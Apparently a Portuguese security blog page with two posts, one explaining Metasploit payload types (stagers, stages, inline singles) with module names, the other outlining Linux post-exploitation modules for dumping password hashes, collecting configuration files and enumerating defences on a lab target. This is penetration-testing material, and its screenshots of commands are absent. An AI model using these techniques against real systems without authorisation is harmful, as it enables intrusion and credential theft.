Geralmente você consegue descobrir o tipo de um payload lendo a descrição dele. Lá é muito frequente estar dizendo claramente o tipo do payload. Alguns exemplos:
windows/shell/reverse_ord_tcp: Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7). Pela descrição, já sabemos que este é um stager.
windows/x64/shell_reverse_tcp: Windows x64 Command Shell, Reverse TCP Inline. Este, por outro lado, é um payload do tipo single (note o uso da palavra “inline” no final da descrição).

No resto deste post vamos discutir cada um dos tipos de payloads e também mostrar exemplos.

Stagers e stages


Vou discutir stagers e stages no mesmo tópico pois eles são complementares. Payloads do tipo stage usam payloads stagers para completar uma tarefa.
Em alguns casos, o pesquisador precisa lidar com tão pouco espaço em memória que não é possível usar um payload single para fazer o que ele quer. Nestes casos, ele precisa de stagers para conseguir fazer com que a vítima execute alguma ação.

Considere o seguinte caso: quando você consegue explorar a falha você vê que vai ter pouco espaço em memória. Então, você seleciona um stager que será enviado como payload para a vítima quando o exploit tiver sucesso em explorar uma vulnerabilidade. Quando o stager é executado na vítima, ele entra em contato com um host para que este lhe envie o resto do código que deve ser executado. Aí sim acontece a criação de um usuário, execução do NC, etc. É exatamente assim que o Meterpreter funciona: ele é um payload do tipo stage.

Um lado negativo óbvio de stages é que eles precisam manter uma conexão ativa com uma máquina para que esta possa enviar o resto do código a ser executado na vítima para que a invasão seja completada. O lado positivo é que o tamanho de memória não é exatamente um problema já que estes payloads são desenvolvidos para serem minúsculos e ocuparem o mínimo de memória possível.

Alguns exemplos são:

bind_ipv6_tcp (stager para Linux x86)
bind_tcp (stager para Windows)
meterpreter (stage multi-plataforma)
dllinject (stage para Windows)
Singles (ou “Inline”)

Payloads do tipo single são payloads maiores e que não precisam de complemento algum para poderem fazer o seu papel.
Quando uma vulnerabilidade é explorada com sucesso e um payload do tipo single é enviado para a máquina, ele já é capaz de executar todas as tarefas que você requisitou (fazer o download de um arquivo, criar um usuário, iniciar uma aplicação, criar uma chave no registro, etc). Portanto, a máquina do atacante não precisa de um stager dizendo ao módulo inline o que fazer à seguir: ele vai ser entregue à vítima, executado e irá completar a sua tarefa por inteiro, sem precisar receber mais instruções da máquina de origem.

O problema com este tipo de payload é que ele é fisicamente grande e nem sempre você vai ter espaço suficiente na memória da vítima para acomodar um payload single. Portanto, quando o espaço em memória é uma questão a se considerar, é melhor não se utilizar payloads single ou inline. Estes payloads, entretanto, são bastante eficientes em ataques através de dispositivos USB e também quando se quer persistência na máquina invadida (permitindo que algum software que você instalou sempre seja executado mesmo depois de reiniciar a máquina para permitir que você se conecte à ela novamente, por exemplo).

Alguns exemplos de payloads inline são:
windows/x64/shell_bind_tcp
windows/shell_bind_tcp
osx/x86/vforkshell_reverse_tcp

Conclusão


Como tentei deixar claro no texto, existem muitos detalhes que você deve considerar antes de sair executando exploits à torto e à direito por aí. Você precisa analisar a situação e lançar um ataque o mais eficiente possível até para não acabar travando a máquina que você está atacando ou acabar sendo detectado pelo IPS durante o teste (já vi casos onde clientes definem que se o atacante for detectado pelo IPS, o teste acaba na hora). Você precisa verificar quais são os payloads compatíveis com o módulo que você está usando e escolher o que é mais eficiente, considerando a sua finalidade. Não escolha o Meterpreter simplesmente por ele oferecer mais funcionalidades: isso pode acabar sendo um belo tiro no pé e te causando muita dor de cabeça e possivelmente um pouco de vergonha também. :)

Se você quiser uma lista completa de qual o tipo de cada um dos exploits existentes no framework, vá até o diretório /opt/metasploit/msf3/modules/payloads (no Backtrack 5 R2 – no seu sistema este caminho pode variar). Lá você vai encontrar três diretórios: singles, stagers e stages. Basta fazer uma listagem dos arquivos em cada diretório para confirmar o tipo do payload. Como regra geral, você pode simplesmente observar o path completo do payload. Se tiver um “_” quer dizer que ele é um single; se tiver um “/” é um stage/stager. Note que não são todos que obedecem esta nomenclatura e isso pode mudar um pouco, mas são raros os casos.

Agora que você já entende quais são e quais a diferenças entre os tipos de payloads oferecidos pelo Metasploit, passe um tempo planejando e escolhendo qual deles vai te atender melhor. Este tipo de ação é o que mais vai te render frutos, não simplesmente sair executando exploits por aí!

​Creditos:Pedro Pereira

sábado, 18 de maio de 2013

Pós exploração é um processo importante em um pentest, permite ao atacante reunir informações sobre o sistema que foi comprometido. A maioria dos pentestes atualmente utilizam o Metasploit para esses fins de exploração. O Metasploit tem módulos de exploração para as mais variadas aplicações e sistemas. Neste artigo vamos ver como realizar uma pós exploração em um sistema Linux.

Começaremos de um ponto onde já temos uma máquina com acesso. Então vamos colocar a sessão em background com o comando Ctrl + Z.





Se por acaso esquecer o número da sessão pode usar o comando sessions como na imagem acima para localiza-la.

Podemos ver que neste caso é a ID 1. Um dos módulos que vamos ver aqui é o hashdump, que irá coletar os hash's de senha do sistema. A única coisa que precisamos é o numero da sessão, que acabamos de pegar.


OBS: Se você reparar eu estou usando o exploit do tomcat do metasploitable na primeira imagem, mas depois de começar a escrever eu lembrei que ele não me da acesso root ao sistema comprometido, então algumas ferramentas podem não funcionar se você não tiver acesso root :)






Outro módulo útil é o checkvm que irá descobrir se o sistema comprometido é uma máquina virtual. Neste caso ele mostrou Qemu/KVM, que é o ambiente virtual do debian, não encontrou uma vm no caso, isso quer dizer que foi instalado no HD.






Outro módulo muito interessante do Metasploit é o enum_configs, que irá obter todos os arquivos de configuração importantes e armazena-los em seu sistema.






Também podemos usar um comando similar para pegar informações de rede:






Se quisermos descobrir se existe algum tipo de sistema de segurança instalado tipo, IDS, antivirus, firewalls e etc podemos usar o seguinte módulo:






Podemos também enumerar algumas outras informações do sistema como usuários, pacotes instalados, serviços rodando, os discos instalados, versão do Linux e etc.






Informações essenciais podem ser descobertas olhando os históricos dos usuários. E claro, temos um módulo pra isso.






Neste artigo nós examinamos os módulos de pós exploração do Metasploit, que pode muito bem ser usado contra máquinas Linux comprometidas e nos dar muitas informações importantes para um relatório ou continuar com o ataque/auditoria. Descobrimos também algumas credenciais que podem ser usadas para acessar outros serviços tanto da rede da empresa com outras redes.

Fonte: pentestlab

Prints, traduzido e adaptado por mim.
Subscribe to RSS Feed Follow me on Twitter!